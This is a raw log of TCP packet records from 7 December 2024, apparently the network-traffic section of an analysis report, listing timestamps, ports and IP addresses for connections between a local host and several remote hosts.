Dec 7, 2024 00:15:15.463825941 CET	49716	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.463834047 CET	443	49716	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.524089098 CET	49717	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.524120092 CET	443	49717	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.524198055 CET	49717	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.525316000 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.525363922 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.525434017 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.528245926 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.528260946 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.528318882 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.529896021 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.529966116 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.530025005 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.530651093 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.530689001 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.530744076 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.531179905 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.531193018 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.531297922 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.531320095 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.531524897 CET	49717	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.531548023 CET	443	49717	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.531745911 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.531763077 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.531853914 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:15.531867981 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:15.772439003 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:15.772509098 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:15.774044037 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:15.856522083 CET	49674	443	192.168.2.6	173.222.162.64
Dec 7, 2024 00:15:15.856529951 CET	49673	443	192.168.2.6	173.222.162.64
Dec 7, 2024 00:15:15.894479036 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.184638977 CET	49672	443	192.168.2.6	173.222.162.64
Dec 7, 2024 00:15:16.214767933 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.214787960 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.215109110 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:16.217775106 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:16.338855028 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.659116983 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.659152031 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.659166098 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.659208059 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:16.659333944 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:16.659410000 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.659424067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.659599066 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:16.659733057 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.659748077 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:16.659811020 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:16.659811020 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:16.661398888 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:16.783078909 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:17.102766991 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:17.107049942 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:17.351208925 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.352504015 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.352629900 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.353054047 CET	443	49717	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.353101969 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.403383970 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.403389931 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.403410912 CET	49717	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.403419971 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.403659105 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.406474113 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.406482935 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.407480955 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.407488108 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.408020020 CET	49717	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.408030033 CET	443	49717	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.408827066 CET	49717	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.408830881 CET	443	49717	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.409015894 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.409029961 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.409356117 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.409364939 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.409368038 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.409373999 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.409729004 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.409733057 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.409874916 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.409878969 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.410253048 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.410258055 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.423677921 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:17.423753977 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:17.545130014 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:17.545151949 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:17.545176983 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:17.545188904 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:17.546768904 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:17.546792984 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:17.788383961 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.788431883 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.788480997 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.788757086 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.788774967 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.788786888 CET	49721	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.788791895 CET	443	49721	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.791764021 CET	443	49717	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.791810036 CET	443	49717	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.791862011 CET	49717	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.792196989 CET	49717	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.792211056 CET	443	49717	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.792220116 CET	49717	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.792227030 CET	443	49717	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.793236971 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.793287992 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.793355942 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.793593884 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.793610096 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.794644117 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.794665098 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.794745922 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.794894934 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.794909000 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801007986 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801027060 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801035881 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801057100 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801105022 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801117897 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.801134109 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.801150084 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801155090 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.801191092 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.801271915 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.801275969 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801295042 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.801297903 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.801316977 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801330090 CET	49720	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.801337957 CET	443	49720	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801480055 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801517010 CET	443	49719	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.801557064 CET	49719	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.802576065 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.802598000 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.802648067 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.802659035 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.802742004 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.803028107 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.803028107 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.803035975 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.803178072 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.803206921 CET	443	49718	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.803251982 CET	49718	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.805377007 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.805402994 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.805455923 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.805583000 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.805596113 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.805639029 CET	49725	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.805658102 CET	443	49725	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.805716038 CET	49725	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.805843115 CET	49725	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.805850983 CET	443	49725	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.806678057 CET	49726	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.806699038 CET	443	49726	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:17.806770086 CET	49726	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.806924105 CET	49726	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:17.806936979 CET	443	49726	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:18.382715940 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:18.382796049 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:18.654901981 CET	443	49704	173.222.162.64	192.168.2.6
Dec 7, 2024 00:15:18.655041933 CET	49704	443	192.168.2.6	173.222.162.64
Dec 7, 2024 00:15:18.765212059 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:18.885097980 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.203222036 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.203277111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.203341007 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.203378916 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.207346916 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.207410097 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.208873034 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.209024906 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.209084034 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.217360020 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.217434883 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.217484951 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.217529058 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.225806952 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.225883007 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.225948095 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.234106064 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.234148026 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.234178066 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.234204054 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.242430925 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.242505074 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.328095913 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.328157902 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.328222990 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.332577944 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.332592964 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.332673073 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.340641975 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.340742111 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.340743065 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.340797901 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.349005938 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.349072933 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.349139929 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.349179983 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.357378006 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.357439995 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.395144939 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.395236969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.395261049 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.395292044 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.399358034 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.399452925 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.399514914 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.407735109 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.407833099 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.407880068 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.407897949 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.415751934 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.415827036 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.415833950 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.415883064 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.424160957 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.424245119 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.424247026 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.424288988 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.432550907 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.432645082 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.432656050 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.432688951 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.440948009 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.441013098 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.441015005 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.441066027 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.452769995 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.452868938 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.452889919 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.452913046 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.456218004 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.456253052 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.456274033 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.456454992 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.463419914 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.463452101 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.463577986 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.469651937 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.469777107 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.469816923 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.469928026 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.476382017 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.476437092 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.519284964 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.519295931 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.520051003 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.520055056 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.520066977 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.520090103 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.520694971 CET	49722	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.520700932 CET	443	49722	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.520878077 CET	49723	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.520883083 CET	443	49723	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.530921936 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.530953884 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.531016111 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.531030893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.532772064 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.532846928 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.532872915 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.533098936 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.536722898 CET	443	49725	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.537414074 CET	49725	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.537436962 CET	443	49725	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.538115025 CET	49725	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.538120031 CET	443	49725	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.538228035 CET	443	49726	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.538639069 CET	49726	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.538655996 CET	443	49726	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.538984060 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.539015055 CET	49726	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.539021015 CET	443	49726	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.539052963 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.539084911 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.539171934 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.539572001 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.539927006 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.539944887 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.540397882 CET	49724	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:19.540402889 CET	443	49724	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:19.545152903 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.545207977 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.545274973 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.545324087 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.551429987 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.551503897 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.551531076 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.551574945 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.557698965 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.557785034 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.557818890 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.557867050 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.563865900 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.563939095 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.563971996 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.564028978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.570081949 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.570143938 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.570169926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.570288897 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.576297045 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.576373100 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.576431990 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.576559067 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.582345009 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.582403898 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.587199926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.587260008 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.587289095 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.587336063 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.588171005 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.588218927 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.588284969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.588340998 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.591816902 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.591866970 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.591943979 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.591996908 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.595530033 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.595586061 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.595637083 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.595679998 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.599164963 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.599271059 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.599332094 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.602771044 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.602880001 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.602951050 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.606285095 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.606405020 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:19.606487036 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:19.606560946 CET	49715	80	192.168.2.6	185.215.113.206
